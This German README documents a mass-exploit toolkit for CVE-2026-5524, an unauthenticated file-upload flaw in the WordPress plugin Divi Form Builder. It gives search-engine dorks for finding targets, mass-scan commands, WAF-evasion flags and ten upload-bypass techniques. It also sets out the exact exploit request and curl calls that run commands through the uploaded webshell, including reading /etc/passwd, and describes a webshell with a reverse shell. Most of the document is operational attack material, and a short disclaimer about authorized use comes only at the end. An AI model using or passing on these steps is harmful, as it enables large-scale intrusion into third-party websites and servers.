
Python-Mass-Exploit-Toolkit für CVE-2026-5524, eine unauthentifizierte Datei-Upload-RCE im WordPress-Plugin Divi Form Builder, mit Webshell-Upload und Befehlsausführung.
| Feld | Wert |
|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Kritisch) |
| Vektor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Betroffen | Divi Form Builder <= 5.1.8 |
| Gepatcht | 5.1.9 |
| Typ | Unauthentifizierter Datei-Upload zu RCE |
| Forscher | 0xd4rk5id3 - EnvoraSec |
Das Divi Form Builder Plugin für WordPress enthält eine unauthentifizierte Schwachstelle zum beliebigen Datei-Upload. Der do_image_upload()-Handler übergibt den benutzerkontrollierten POST-Parameter acceptFileTypes direkt an einen regulären Ausdruck, der zur Validierung von Dateiendungen verwendet wird. Durch die Angabe eines Werts wie phtml kann ein Angreifer die .htaccess-Regel des Plugins umgehen, die nur die .php-Endung blockiert, und eine Webshell mit einer PHP-ausführbaren Endung (.phtml, .phar, .php5, .php7 und ähnliche) hochladen.
Sobald die Datei in /wp-content/uploads/de_fb_uploads/ landet, führt Apache sie als PHP aus, was dem Angreifer Remote-Code-Ausführung als Webserver-Benutzer ermöglicht.
Das Problem ist in Divi Form Builder 5.1.9 behoben.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Voraussetzungen: Python 3.8 oder neuer unter Linux, macOS oder WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
Für Ziele hinter einer WAF (NinjaFirewall, Wordfence, ModSecurity) oder mit gehärteter Apache- oder nginx-Konfiguration.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
Nach einem erfolgreichen Upload kann das Skript sofort einen Befehl ausführen oder in eine interaktive Shell wechseln.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
| Flag | Beschreibung |
|---|---|
-u URL | Einzelne Ziel-URL |
-l FILE | Datei mit Zielliste, eine URL pro Zeile |
-t N | Anzahl gleichzeitiger Threads (Standard 10) |
--timeout N | Anfrage-Timeout in Sekunden (Standard 15) |
-o FILE | Ergebnisse in JSONL-Ausgabedatei speichern |
--proxy URL | Datenverkehr über HTTP-Proxy leiten |
--nonce HASH | Manuell bereitgestellten Nonce verwenden, Autodetektion überspringen |
--ext EXT | Eine einzelne Endung erzwingen statt der vollständigen Bypass-Liste |
--shell | Bei Erfolg in interaktive RCE-Shell wechseln (nur einzelnes Ziel) |
--cmd CMD | Einen Befehl auf dem Ziel ausführen, dann beenden |
--shell-file FILE | Benutzerdefinierte Shell-Payload hochladen statt der integrierten |
--no-verify | Den RCE-Verifizierungsschritt nach dem Upload überspringen |
--strict-verify | Bestätigen, dass die Shell-URL HTTP 200 zurückgibt, um False Positives zu filtern |
--user-ini | Einen .user.ini-Dropper für PHP-FPM-Umgebungen hochladen |
--htaccess | Einen .htaccess-Re-Enabler für Apache-Umgebungen hochladen |
--aggressive | Alle verfügbaren Bypass-Techniken aktivieren |
--null-byte | Null-Byte- und Doppelendungs-Versuche einschließen |
--path-traversal | Versuchen, in /uploads/YYYY/MM/-Unterverzeichnisse hochzuladen |
--debug | Rohe HTTP-Antworten zur Diagnose ausgeben |
Der verwundbare Handler konstruiert einen regulären Ausdruck aus Benutzereingaben ohne Bereinigung.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
Durch Senden von acceptFileTypes=phtml matcht der resultierende reguläre Ausdruck /\.(phtml)$/i Dateinamen, die auf .phtml enden, obwohl die .htaccess-Datei des Plugins selbst nur die .php-Endung blockiert. Apache führt die hochgeladene Datei dann als PHP aus, was Remote-Code-Ausführung ermöglicht.
Eine Seite crawlen, die ein Divi Form Builder-Formular einbettet (/, /contact, /quote, usw.). Einen ?nocache=<random>-Parameter anhängen, um Varnish, WP Rocket und andere Seiten-Caches zu umgehen, die andernfalls einen veralteten Nonce ausliefern würden.
Den fb_nonce-Wert aus dem lokalisierten JavaScript-Objekt extrahieren:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
Ein Multipart-Formular an /wp-admin/admin-ajax.php senden mit:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Die Datei-URL aus der JSON-Antwort auslesen:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Die Shell mit einem base64-kodierten Befehl aufrufen:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
| # | Technik | Ziele |
|---|---|---|
| 1 | Alternative PHP-Endungen .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | Plugin-.htaccess-Regel, die nur .php blockiert |
| 2 | Groß-/Kleinschreibung variieren .PHTML, .PHP5, .PhTmL | Groß-/Kleinschreibung-sensitive WAF-Signaturen (NinjaFirewall) |
| 3 | Doppelendung .phtml.jpg, .php.jpg | Apache mod_mime Content-Negotiation-Eigenheiten |
| 4 | Null-Byte .php%00.jpg, .phtml%00.txt | Alte PHP-Versionen (kleiner als 5.3.4) und bestimmte Parser |
| 5 | Nachgestelltes Leerzeichen oder Punkt .php , .php. | Windows IIS und ältere Apache-Versionen |
| 6 | Content-Type-Spoofing application/octet-stream | WAFs, die auf den Multipart-Content-Type-Header reagieren |
| 7 | Eine echte .htaccess hochladen, die PHP für .gif, .png, .jpg, .txt, .html usw. wieder aktiviert | Apache-Server mit AllowOverride All |
| 8 | Eine .user.ini mit auto_prepend_file hochladen | PHP-FPM-Umgebungen |
| 9 | Dateinamen-Injektion durch Multipart-Boundary-Manipulation | Proxies und WAFs, die den Request-Body neu parsen |
| 10 | Path Traversal ../shell.phtml im Dateinamen | Plugin-Verzeichnisbeschränkungen |
Das Skript versucht jede Technik in Prioritätsreihenfolge und, wenn --aggressive gesetzt ist, versucht es jede einzelne, auch nachdem der erste Upload Erfolg meldet.
| Komponente | Technologie |
|---|---|
| Sprache | Python 3.8+ |
| HTTP-Client | requests |
| TLS-Handhabung | urllib3 im unsicheren Modus für selbstsignierte Zertifikate |
| Nebenläufigkeit | concurrent.futures.ThreadPoolExecutor für Massen-Scanning |
| Parsing | re für Nonce-Extraktion, json für Antwortverarbeitung |
| Kodierung | base64 für Webshell-Befehlsparameter |
| CLI | argparse mit 19 konfigurierbaren Flags |
| Komponente | Technologie |
|---|---|
| Sprache | PHP 7.0+ |
| Ausführungsfunktionen | system(), shell_exec(), proc_open(), passthru(), popen() |
| Frontend | Einfaches HTML-Formular, kein JavaScript-Framework |
| Funktionen | Datei-Browser, Befehlsausführung, Datenbankzugriff, Reverse Shell, selbstinstallierende .htaccess und .user.ini |
| Größe | Ungefähr 16 KB |
| Bypass-Schichten | Sechs unabhängige Ausführungspfade plus kodierte Payloads |
cve-2026-5524/
|-- CVE-2026-5524.py Main exploit script
|-- bypass.phtml 16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt Example target list
|-- pwned.jsonl Generated by the -o flag during mass scans
|-- requirements.txt Python dependencies
`-- README.md This document
+--------------------------------------------------+
| 1. Recon |
| GET /?nocache=<random> |
| Parse fb_nonce from de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Craft exploit |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. Server accepts and stores file |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Execute |
| GET shell.phtml?x=base64(command) |
| Remote code execution achieved |
+--------------------------------------------------+
Dieses Tool wird zu Bildungszwecken und für die Verwendung während autorisierter Penetrationstests bereitgestellt. Beispiele für akzeptable Nutzung sind:
Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben, ist in praktisch jeder Gerichtsbarkeit illegal und strengstens verboten. Der Autor billigt oder übernimmt keine Verantwortung für den Missbrauch dieses Codes.
J'ai la permission et je suis autorisé à effectuer ce pentest. (Ich habe die Erlaubnis und bin autorisiert, diesen Pentest durchzuführen.)
Gesetze von wahrscheinlicher Relevanz umfassen Indonesiens UU ITE, den United States Computer Fraud and Abuse Act, die European Union Cybercrime Convention und entsprechende Gesetzgebung anderswo. Im Zweifelsfall zuerst eine schriftliche Genehmigung einholen.
Nur für Bildungszwecke. Die vollständigen Nutzungsbedingungen finden Sie im Abschnitt Haftungsausschluss.